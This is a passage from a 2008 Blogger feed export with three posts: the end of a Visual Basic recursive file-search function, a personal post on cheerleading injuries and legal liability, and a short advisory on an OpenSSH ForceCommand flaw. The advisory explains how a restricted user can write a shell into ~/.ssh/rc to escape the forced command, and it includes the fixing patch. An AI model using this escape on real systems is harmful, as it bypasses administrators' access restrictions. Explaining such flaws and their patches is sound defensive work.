/&gt;                &lt;br /&gt;&lt;br /&gt;                If Asc(WFD.cFileName) &lt;&gt; VBKEYDOT Then&lt;br /&gt;                    If (dirs% Mod 10) = 0 Then ReDim Preserve dirbuf$(dirs% + 10)&lt;br /&gt;                    dirs% = dirs% + 1&lt;br /&gt;                    dirbuf$(dirs%) = Left$(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)&lt;br /&gt;                End If&lt;br /&gt;&lt;br /&gt;                &lt;br /&gt;                &lt;br /&gt;            End If&lt;br /&gt;&lt;br /&gt;            &lt;br /&gt;            &lt;br /&gt;            strProg$ = Left(WFD.cFileName, InStr(WFD.cFileName, vbNullChar) - 1)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            If UCase(strProg$) = UCase(strFName$) Then&lt;br /&gt;                SearchDirs = True&lt;br /&gt;                Exit Function&lt;br /&gt;            Else&lt;br /&gt;                &lt;br /&gt;                SearchDirs = False&lt;br /&gt;                &lt;br /&gt;            End If&lt;br /&gt;&lt;br /&gt;            &lt;br /&gt;&lt;br /&gt;            DoEvents&lt;br /&gt;                &lt;br /&gt;            Loop While FindNextFile(hItem&amp;, WFD)&lt;br /&gt;&lt;br /&gt;            Call FindClose(hItem&amp;)&lt;br /&gt;            &lt;br /&gt;        End If&lt;br /&gt;&lt;br /&gt;        &lt;br /&gt;&lt;br /&gt;        For i% = 1 To dirs%&lt;br /&gt;            rtn = SearchDirs(Curpath$ &amp; dirbuf$(i%) &amp; VBBACKSLASH, strFName$)&lt;br /&gt;            SearchDirs = rtn&lt;br /&gt;            If rtn Then Exit Function&lt;br /&gt;        Next i%&lt;br /&gt;&lt;br /&gt;    End Function&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-1784584255951675630?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1784584255951675630'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/1784584255951675630'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/05/i-tried-to-make-this-as-light-as.html' title=''/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5429514864490650464</id><published>2008-05-13T13:07:00.000+07:00</published><updated>2008-05-13T13:09:25.404+07:00</updated><title type='text'>Cheerleading</title><content type='html'>&lt;h2 style="font-family: courier new; text-align: justify;"&gt;Not sure if anyone has noticed but they did a special on “Cheerleading” on E! over the weekend. Now you might be wondering what I have to say about cheerleading and even more, what cheerleading has to do with the legal world. Well, for starters, I have to admit why I happened to watch that show on E.  I was a cheerleader. I did the whole thing - the outfits, the glitter on the face…and I have to say that I really did love it. However, one thing I never thought of and also was never faced with was being subject to any rules or limitations about what was allowed and what wasn’t when performing stunts.&lt;/h2&gt;&lt;div style="text-align: justify;"&gt;                                   &lt;/div&gt;&lt;p style="font-family: courier new; text-align: justify;"&gt;Now, fortunately for me (and my parents more likely) the school I went to was not a big cheerleading school. I mean, of course we cheered at all of the games, went to cheerleading camp at SMU and sweated our butts off in the 100 degree Texas weather but the liklihood of seeing someone from our sqaud being tossed in the air was about 1 in a million. Maybe putting someone on top of a pyramid was a 1 in 10 chance but we certainly were not the basket-tossing type.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="font-family: courier new; text-align: justify;"&gt;After this weekend, I learned that there were not any rules at all for cheerleading for quite some time.  It took girls flying into the air, landing on their head, neck  and unfortunately suffering some serious injuries to finally get someone to take notice. The American Association of Cheerleading Coaches and Administrators was created in 1987 and there are additional courses that seem to be created for new programs on safety. Who knew one could learn so much from watching E!.&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="font-family: courier new; text-align: justify;"&gt;In any event, an interesting legal situation is created if someone gets hurt as technically whose fault is it? Is the person who was responsible for catching the person? Is it the coach who should have been watching more closely? Is it the school who hired the coach who should have been watching more closely?&lt;/p&gt;&lt;div style="text-align: justify;"&gt; &lt;/div&gt;&lt;p style="font-family: courier new; text-align: justify;"&gt;I am really happy that some light has been shed on this topic as cheerleading is becoming more of an aggressive sport and there should be some rules governing this situation. Accidents do happen but the more knowledge and training we can give coaches, the better. Parents also need to pay attention to who is coaching their kids. You don’t want to have to be calling an attorney because your kid got hurt when you could have checked out the coaches credentials yourself. Rules for the short skirts!&lt;/p&gt;&lt;p style="font-family: courier new; text-align: justify;"&gt;&lt;script type="text/javascript"&gt;&lt;!-- google_ad_client = "pub-2299833243847736"; /* 234x60, created 5/12/08 */ google_ad_slot = "9105291385"; google_ad_width = 234; google_ad_height = 60; //--&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5429514864490650464?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5429514864490650464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5429514864490650464'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/05/cheerleading.html' title='Cheerleading'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-4701803441346095986.post-5780145159060995068</id><published>2008-05-13T12:35:00.001+07:00</published><updated>2008-05-13T12:35:57.285+07:00</updated><title type='text'>SSH ForceCommand security flaw</title><content type='html'>&lt;h3 style="text-align: justify; font-family: trebuchet ms; color: rgb(255, 255, 153);" class="post-title entry-title"&gt; &lt;span style="font-size:130%;"&gt;ForceCommand is a sshd_config option that lets use the remote ssh to execute a restricted commands, for example vi somefile.&lt;br /&gt;&lt;/span&gt;&lt;/h3&gt;&lt;div style="text-align: justify; font-family: trebuchet ms; color: rgb(255, 255, 153);"&gt;   &lt;/div&gt;&lt;p style="text-align: justify; font-family: trebuchet ms; color: rgb(255, 255, 153);"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;When a SSH session is started the ~/.ssh/rc shell script is executed, the user logged by ssh, has permissions to write into his own rc.&lt;br /&gt;&lt;br /&gt;Then if we are allowed to make a vi somefile, we can write into ~/.ssh/rc and write a /bin/bash that will be spawned the next time we enter to the system.&lt;br /&gt;&lt;br /&gt;The patch only lets the rc execution when ForceCommand is not enabled (options.adm_forced_command == NULL)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;/p&gt;&lt;div style="text-align: justify; font-family: trebuchet ms; color: rgb(255, 255, 153);"&gt;&lt;pre&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;+++ usr.bin/ssh/session.c 27 Mar 2008 10:54:55 -0000&lt;br /&gt;@@ -878,8 +878,9 @@&lt;br /&gt; do_xauth =&lt;br /&gt;     s-&gt;display != NULL &amp;amp;&amp;amp; s-&gt;auth_proto != NULL &amp;amp;&amp;amp; s-&gt;auth_data != NULL;&lt;br /&gt;&lt;br /&gt;- /* ignore _PATH_SSH_USER_RC for subsystems */&lt;br /&gt;- if (!s-&gt;is_subsystem &amp;amp;&amp;amp; (stat(_PATH_SSH_USER_RC, &amp;amp;st) &gt;= 0)) {&lt;br /&gt;+ /* ignore _PATH_SSH_USER_RC for subsystems and admin forced commands */&lt;br /&gt;+ if (!s-&gt;is_subsystem &amp;amp;&amp;amp; options.adm_forced_command == NULL &amp;amp;&amp;amp;&lt;br /&gt;+     (stat(_PATH_SSH_USER_RC, &amp;amp;st) &gt;= 0)) {&lt;br /&gt;  snprintf(cmd, sizeof cmd, "%s -c '%s %s'",&lt;br /&gt;      shell, _PATH_BSHELL, _PATH_SSH_USER_RC);&lt;br /&gt;  if (debug_flag)&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4701803441346095986-5780145159060995068?l=tutorial-hemlet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5780145159060995068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4701803441346095986/posts/default/5780145159060995068'/><link rel='alternate' type='text/html' href='http://tutorial-hemlet.blogspot.com/2008/05/ssh-forcecommand-security-flaw.html' title='SSH ForceCommand security flaw'/><author><name>hemlet</name><uri>http://www.blogger.com/profile/02033149918343548108</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
